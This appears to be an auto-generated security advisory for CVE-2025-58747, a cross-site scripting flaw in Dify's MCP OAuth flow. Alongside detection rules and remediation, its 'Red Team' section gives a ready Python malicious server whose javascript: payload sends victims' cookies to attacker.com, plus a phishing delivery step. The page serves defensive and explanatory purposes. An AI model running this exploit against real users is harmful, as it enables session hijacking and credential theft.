CVE-2025-58747
Executive Summary
CVE-2025-58747 is a critical cross-site scripting (XSS) vulnerability in the Dify LLM application development platform, affecting versions through 1.9.1. The flaw resides in the MCP OAuth component, where the authorization_url provided by a remote MCP server is passed directly to window.open() without validation or sanitization. An attacker can host a malicious MCP server that returns a javascript: URI in the authorization_url field, leading to arbitrary JavaScript execution in the victim's browser when they attempt to connect. This allows session hijacking, credential theft, or further compromise of the Dify application.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Dify is a Python-based platform distributed via Docker images and PyPI packages. The vulnerability is in the frontend JavaScript code handling OAuth flows, not in a direct dependency. However, the risk is amplified if the platform is deployed in a CI/CD pipeline or integrated with external LLM services, as a compromised Dify instance could lead to supply chain attacks through manipulated model configurations or API keys.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attacker hosts a remote MCP server accessible over the network.
- Attack Complexity (AC): Low (L) – No special conditions required; the victim only needs to connect to the malicious server.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – The victim must click to connect to the MCP server.
- Scope (S): Changed (C) – The XSS executes in the context of the Dify application, potentially accessing other origins.
- Confidentiality (C): High (H) – Attacker can steal session tokens and sensitive data.
- Integrity (I): High (H) – Attacker can modify application state or inject malicious content.
- Availability (A): Low (L) – XSS can disrupt user sessions but not the entire service.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Base Score: 8.7 (High)
Deep Dive & Mechanics
The vulnerability is in the MCP OAuth flow implementation. When a user connects to a remote MCP server, the server responds with an authorization_url that the client uses to initiate OAuth. The Dify frontend code directly passes this URL to window.open() without checking if it is a valid HTTP/HTTPS URL. An attacker-controlled MCP server can return a javascript: URI (e.g., javascript:alert(document.cookie)), which, when passed to window.open(), executes the JavaScript in the context of the Dify application's origin.
Root Cause: Lack of input validation on the authorization_url field from the MCP server response. The code should validate that the URL uses a safe scheme (http/https) and sanitize it before passing to window.open().
Attack Flow:
- Attacker sets up a malicious MCP server that returns a crafted response with
authorization_url: "javascript:alert(1)". - Victim (Dify user) navigates to the MCP server connection page and clicks "Connect".
- The Dify frontend calls
window.open("javascript:alert(1)"), executing the attacker's script. - The script can steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Dify <= 1.9.1):
// In MCP OAuth handler
function connectToMCPServer(serverUrl) {
fetch(serverUrl + '/oauth/authorize')
.then(response => response.json())
.then(data => {
// Directly opens the authorization_url without validation
window.open(data.authorization_url);
});
}
Patched Code (Hypothetical fix):
function connectToMCPServer(serverUrl) {
fetch(serverUrl + '/oauth/authorize')
.then(response => response.json())
.then(data => {
// Validate URL scheme
const url = new URL(data.authorization_url);
if (url.protocol !== 'http:' && url.protocol !== 'https:') {
throw new Error('Invalid authorization URL');
}
window.open(url.href);
})
.catch(error => {
console.error('Failed to connect:', error);
});
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A publicly accessible server to host the malicious MCP server.
- Basic knowledge of JavaScript and HTTP.
Exploit Steps:
- Create a malicious MCP server that responds to the OAuth authorize endpoint with a crafted JSON:
{
"authorization_url": "javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"
}
- Host the server using a simple Python script:
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class MaliciousMCPHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/oauth/authorize':
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
payload = {
"authorization_url": "javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"
}
self.wfile.write(json.dumps(payload).encode())
else:
self.send_response(404)
self.end_headers()
HTTPServer(('0.0.0.0', 8080), MaliciousMCPHandler).serve_forever()
- Send the malicious server URL to the victim (e.g., via phishing email or social engineering).
- When the victim connects to the MCP server, the XSS triggers and exfiltrates their cookies.
Blue Team
Detection:
- Monitor for outbound connections to unknown MCP servers.
- Inspect network traffic for
javascript:URIs in OAuth responses. - Use browser security headers (Content-Security-Policy) to block inline JavaScript.
Hunting:
- Search Dify logs for connections to suspicious MCP server URLs.
- Check for unexpected
window.opencalls in browser console logs.
Lab Setup:
- Deploy a vulnerable Dify instance (version 1.9.1) in a sandboxed environment.
- Use a controlled attacker server to simulate the exploit.
- Monitor with Wireshark and browser developer tools.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled servers containing
javascript:URIs. - Logs: Dify access logs showing connections to MCP servers with non-standard URLs.
- Browser: Console errors or unexpected popups when connecting to MCP servers.
- File: Modified Dify frontend JavaScript files (e.g.,
mcp-oauth.js) with suspicious code.
Detection Engineering
YARA Rule
rule CVE_2025_58747_MCP_XSS {
meta:
description = "Detects malicious MCP server responses with javascript: URIs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58747"
strings:
$js_uri = /"authorization_url"\s*:\s*"javascript:/
condition:
$js_uri
}
Sigma Rule
title: CVE-2025-58747 MCP OAuth XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic containing javascript: URIs in MCP OAuth responses
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
http.response_body|contains: '"authorization_url":"javascript:'
condition: selection
falsepositives:
- Legitimate use of javascript: URIs in other contexts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58747 MCP OAuth XSS Attempt"; flow:to_client; content:"authorization_url"; content:"javascript:"; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable MCP OAuth: If not required, disable the MCP OAuth feature in Dify configuration.
- Input Validation: Implement strict validation of the
authorization_urlfield to only allowhttp:andhttps:schemes. - Content Security Policy: Add a CSP header that restricts
script-srcandframe-srcto trusted origins.
Long-term Fix:
- Upgrade to a patched version of Dify once available (monitor official Dify releases).
- Conduct a security audit of all OAuth-related code in the platform.
Workarounds:
- Use a web application firewall (WAF) to block responses containing
javascript:URIs. - Restrict outbound connections from Dify to only trusted MCP servers.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.